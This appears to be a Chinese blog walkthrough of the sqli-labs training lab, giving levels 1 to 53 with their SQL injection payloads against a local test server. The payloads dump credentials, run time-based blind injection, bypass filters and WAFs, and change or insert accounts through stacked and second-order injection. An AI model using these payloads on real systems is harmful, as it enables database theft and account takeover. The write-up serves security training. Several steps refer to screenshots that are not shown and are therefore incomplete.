sqli-labs大详解
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)首先输入参数?id=1,这时页面正常显示,并不报错。这时我们输入?id=1‘时出现报错,可以判断它是单引号注入常规注入,判断字段数,当我们order by10时,发生错误,然后我们用二分法判断有几个字段(向上取整)。当我们到order by 3 时没有报错,这时候我
目录
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
LESS2 GET - Error based - Intiger based (基于错误的GET整型注入)
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
Less-21 Cookie Injection- Error Based- complex - string
Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)
Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)
Less-25 Trick with OR & AND (过滤了or和and)
Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)
Less-26 Trick with comments and space (过滤了注释和空格的注入)
less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
less 27a GET - Blind Based- All your UNION & SELECT belong to us
Less-30 Get-Blind Havaing with WAF
Less-35 why care for addslashes()
Less-36 Bypass MySQL Real Escape String
Less-37- MySQL_real_escape_string
Less-39 stacked Query Intiger type
Less-40 stacked Query String type Blind
Less-41 stacked Query Intiger type blind
Less-42 - Stacked Query error based
less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)
page1
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
首先输入参数?id=1,这时页面正常显示,并不报错。
这时我们输入?id=1‘时出现报错,可以判断它是单引号注入
常规注入,判断字段数,当我们order by10时,发生错误,然后我们用二分法判断有几个字段(向上取整)。
当我们到order by 3 时没有报错,这时候我们试试order by 4,发现报错,说明只有三个字段。
然后我们看回显,用语句 union select 1,2,3发现显示的还是用户名和密码,这就需要让前面的语句报错才可以将此语句注入进去,这时我们往1前面加一个-就可以报错,从而执行我们注入的语句,发现2,3,可以回显。
现在我们就可以进行注入了,但是如何获取用户名数据库名等等呢,我总结了出来:
查看用户名:union select 1,2,user()--+
查看数据库名:union select 1,2,database()--+
查看数据库版本: union select 1,2,version()--+
我们查看数据库名,是security数据库
然后我们就可以进行对security数据库的查看了。
查看表:union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查字段:union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()--+
查表中的数据:union select 1,2,group_concat(username,0x3a,password) from users--+
LESS2 GET - Error based - Intiger based (基于错误的GET整型注入)
根据报错信息我们可以知道为数字型注入,其余与第一题一致。
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
根据报错信息我们发现它是字符型注入,且闭合方式为’)
当我们发现这样写时,就可以闭合,之后的与上面两个一致。
http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,3 --+
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
当我们输入单引号是,发现不报错,双引号时报错,根据报错信息我们可以推断是字符型注入,闭合方式为”)。
当我们发现这样写时,就可以闭合,之后的与上面两个一致。
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,3 --+
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
在这一关我们会发现无论id值如何变化,永远显示的都是you are in。显然我们不能采用联合查询的方法,因为没有回显。看到这里,我们就可以用left函数来尝试一下
http://127.0.0.1/sqli/Less-5/?id=1' and left((select database()),1)='a'--+
这里的意思是如果第一个字符是a的话就证明正确,就会返回you are in
很明显没有返回,第一个字母不是a,因为我们已经知道了是security,我们试试s
http://127.0.0.1/sqli/Less-5/?id=1' and left((select database()),1)='s'--+
s正确,返回了you are in,然后我们更改1为2,因为第一位已经确定了是s,就来确定第二位
以此类推,就能得到我们想要的数据库名,但是这种方法显然特别繁琐,这时候就要用到我们的burp暴力破解了。
首先用burp抓包,发送到破解模块
设置暴力破解
在爆破出来的数据中我们发现s的长度不同,下面也正常返回了you are in,说明第一位为s
然后我们猜解第二位,与上面只有这里不同,下面已经标记,以此类推
Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
当我们输入单引号是,发现不报错,双引号时报错,根据报错信息我们可以推断是字符型注入,闭合方式为”。
剩余的与第五关一致。
Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
在我们准备闭合语句是,发现到了'))时可以闭合
之后的就跟之前的相同了。
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
当我们试用‘时,它闭合
没有回显,我们可以试试盲注
延迟了5s,且第一个字符是s。
如果试用其他字符,可以看到有明显差别
也可以用ascii码来查找
http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(1)) --+
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
我们查看源码,发现是单引号闭合
我们试试时间盲注 这样仍然可行,其余同less5
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
查看源码,闭合方式为“
其余同less9.
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
尝试用admin登录,发现回显
post:
发现order by2可以 3不可以
我们查看回显,发现回显1,2
接下来我们正常查询即可
这样就可以查出自己想要的数据了
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
在我们尝试找出闭合是发现其闭合方式为“)
在对其进行post注入时改一下闭合方式即可,其余同less11
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
当我们加上’是发现报错,根据报错提示我们发现闭合形式为‘)
在我们登录成功后发现没有回显
直接基于时间的盲注即可。同1-10关,只是在burp里面修改即可
Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
他没有任何回显,就只能盲注了。
less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
查看源码我们发现他是’闭合
我们使用admin and sleep(10)#进行盲注,然后用if,其余同上。
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
当测试到admin“)#时登录成功,闭合方式为”),依旧是进行布尔盲注和时间盲注
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
我们可以看到用户名被check_input包裹了,而passwd没有
这是它的检查函数,传入的值只会检查前15位
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
我们尝试直接burp,在我们burp并且登录成功后,发现UA可以注入并且回显
但是没有我们想要的东西,尝试报错注入后就可以得到我们想要的东西
Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
这里和上面比较相似,只是在referer处的回显。查看界面,我们发现它将ip和referer进行了输出
输入单引号,发生了报错
我们使用报错注入:1' and extractvalue(1,concat(0x7e,(database()),0x7e)) and '
这样就能拿到我们所需要的数据
Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
在我们登录成功后,发现返回了很多数据
这里有一个按钮,发现可以点击delete your cookie。所以用的使我们的cookie进行了数据库的查询,所以我们应该在这里入手。
输入单引号,发生报错
我们正常进行,输入order by 3发现可以,4不可以
我没让查询失败,查看1,2,3的位置
然后就跟正常查询一样即可
page2
Less-21 Cookie Injection- Error Based- complex - string
查看源码我们发现这里的cookie使用了base64的加密,用')闭合
给大家分享一个解密网站:在线加密解密 (oschina.net)
在我们进行注入时,要将代码进行加密,否则会报错。举例如下
在进行注入时就要用base64的进行注入了
这里成功回显,接下来就是正常注入了,只不过需要用base64加密一下。
Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
根据源码我们发现使用的是双引号闭合
接下来就跟less21一样了,只不过闭合方式变成了“
明文:-admin" union select 1,2,database()#
base64:LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)
经过我的网络查询,我发现这关可以将联合语句直接放入id中进行查询
http://127.0.0.1/sqli/Less-23/?id='union select 1,2,database()'
这样可以直接将我们想要的东西给查询出来,剩下的就是把查询语句放入id里面即可。
例如:查表:http://127.0.0.1/sqli/Less-23/?id=?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'='
Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)
这里是个二次注入
其实因为我们已经知道了后台数据库中有admin用户名,所以我们注册一个admin'#,密码设置为123456.
然后登录我们注册的账号
然后把admin'#的密码改为123 这时我们就修改了admin的密码。
Less-25 Trick with OR & AND (过滤了or和and)
查看源码,单引号包裹
这里说过滤了我们所有的or和and
那么我们就可以进行双写,这里or双写但是and没有,那我们试试把and也双写。
双写and后
Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)
查看源码,不需要单引号包裹
也是双写or和and,其余同上。
Less-26 Trick with comments and space (过滤了注释和空格的注入)
查看源码,是单引号闭合
这里我们发现他将空格,and都过滤了,and可以双写,那么空格怎么办。
我们可以用url编码进行绕过
%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
() 绕过
我们尝试使用报错注入:
这样就注入成功了。
less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
查看源码我们发现闭合方式为')
直接盲注就可以。其余同上一关。
less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
这一关过滤了union和select,我们用大小写绕过即可
经过测试我们发现%0A可以当做括号
成功回显
less 27a GET - Blind Based- All your UNION & SELECT belong to us
这里和上一关大致相同,只是闭合方式不一样,经过测试,我们发现双引号可以闭合
less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于错误的,有括号的单引号字符型,过滤了union和select等的注入)
这关和less25有异曲同工之妙,只不过25关是双写or和and,这里双写union和select
双写绕过即可。
less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入
这关与上一关一样,直接双写就可以。
Less-29 基于WAF的一个错误
waf服务器(tomcat)只解析重复参数里面的前者,而真正的web服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容
我们的后端是apache,那么我们只要将参数放在后面即可。
Less-30 Get-Blind Havaing with WAF
这里与上一关差不多,只不过闭合方式变成了双引号。
Less-31 Protection with WAF
与上述一致,闭合方式为")。
Less-32 Bypass addslashes()
check_addslashes函数把\\ 单引号 双引号都进行过滤转义
明显的编码gbk 宽字节注入
Less-33 Bypass addslashes()
32关函数:
33关函数:
这关与上一关一致,只不过是换成了addslashes。
- addslashes() 函数
函数返回在预定义字符之前添加反斜杠的字符串。
单引号(’)
双引号(")
反斜杠(\)
NULL
Less-34 Bypass Add SLASHES
这里需要抓包注入,其余同上。
Less-35 why care for addslashes()
id没有被单引号括起来所以addslashes起不到作用,正常注入即可
Less-36 Bypass MySQL Real Escape String
在我们进行测试后发现有转义,宽字节注入。
直接注入:http://127.0.0.1/sqli/Less-36/?id=-1%df' union select 1,2,3--+
Less-37- MySQL_real_escape_string
这一关用post登录而已,用burp抓包。其余同less34
page-3
Less-38 stacked Query
这一关是堆叠注入,从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
我们正常查询,因为是堆叠注入,所以需要用分号隔开,我们试试改一下dumb的密码
?id=1';update users set password='123456' where username='Dumb';--+
插入一个id试试:?id=1';insert into users(id,username,password)values(20,'keepb1ue','2020')--+
插入后记得修改前面的id。
Less-39 stacked Query Intiger type
这一关的id没有进行任何包裹,其余同less-38.
Less-40 stacked Query String type Blind
这一关没有报错,但是我们看有没有内容来判断语句是否正确,当我们尝试到')时显示正常
修改密码试试。
?id=1');update users set password='54321' where username='Dumb';--+
成功
Less-41 stacked Query Intiger type blind
与上一关一样。
Less-42 - Stacked Query error based
我们用burp抓包,直接堆叠注入修改密码
然后再数据库查看是否成功
注入成功。
less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)
这一关我们发现用less42的方法无法注入,只是需要用')来闭合,其余操作同less42。
Less-44 - Stacked Query blind
同less-42关,只是关闭了报错
less-45 基于报错的password处的’)闭合注入
同less-43关,只是关闭了报错
less-46 ORDER BY-Error-Numeric
我们根据提示输入sort=1试试,发现出现了一个排序的表格
输入单引号后发现报错,可以进行报错注入
因为是个排序的表格,所以order by后面不能进行联合查询,但是可以用desc和asc进行排序
我们试试报错注入
报错注入成功.
试试时间注入。有明显延迟,可以进行时间注入
http://127.0.0.1/sqli/Less-46/?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))
Less-47 - ORDER BY Clause-Error-Single quote
用单引号闭合,其余同less46
Less-48 - ORDER BY Clause Blind based
同less46,只不过关闭了报错,无法使用报错注入
Less49 - ORDER BY Clause Blind based
同less47,只不过关闭了报错,无法使用报错注入
Less50 - ORDER BY Clause Blind based
对比46关,存在if (mysqli_multi_query($con1, $sql))
说明我们可以进行堆叠注入
http://127.0.0.1/sqli/Less-50/?sort=1;insert into users values(111,'phz','111')
Less-51 - ORDER BY Clause Blind based
对比47关,多了if (mysqli_multi_query($con1, $sql))
其余同上
Less-52 - ORDER BY Clause Blind based
同50关,关闭了报错,采用报错注入以外的手段
Less-53 - ORDER BY Clause Blind based
同51关,关闭了报错,采用报错注入以外的手段
剩余的关卡就是限制了查询次数,且变更了一下闭合方式,只要自己找到闭合方式即可。
更多推荐
所有评论(0)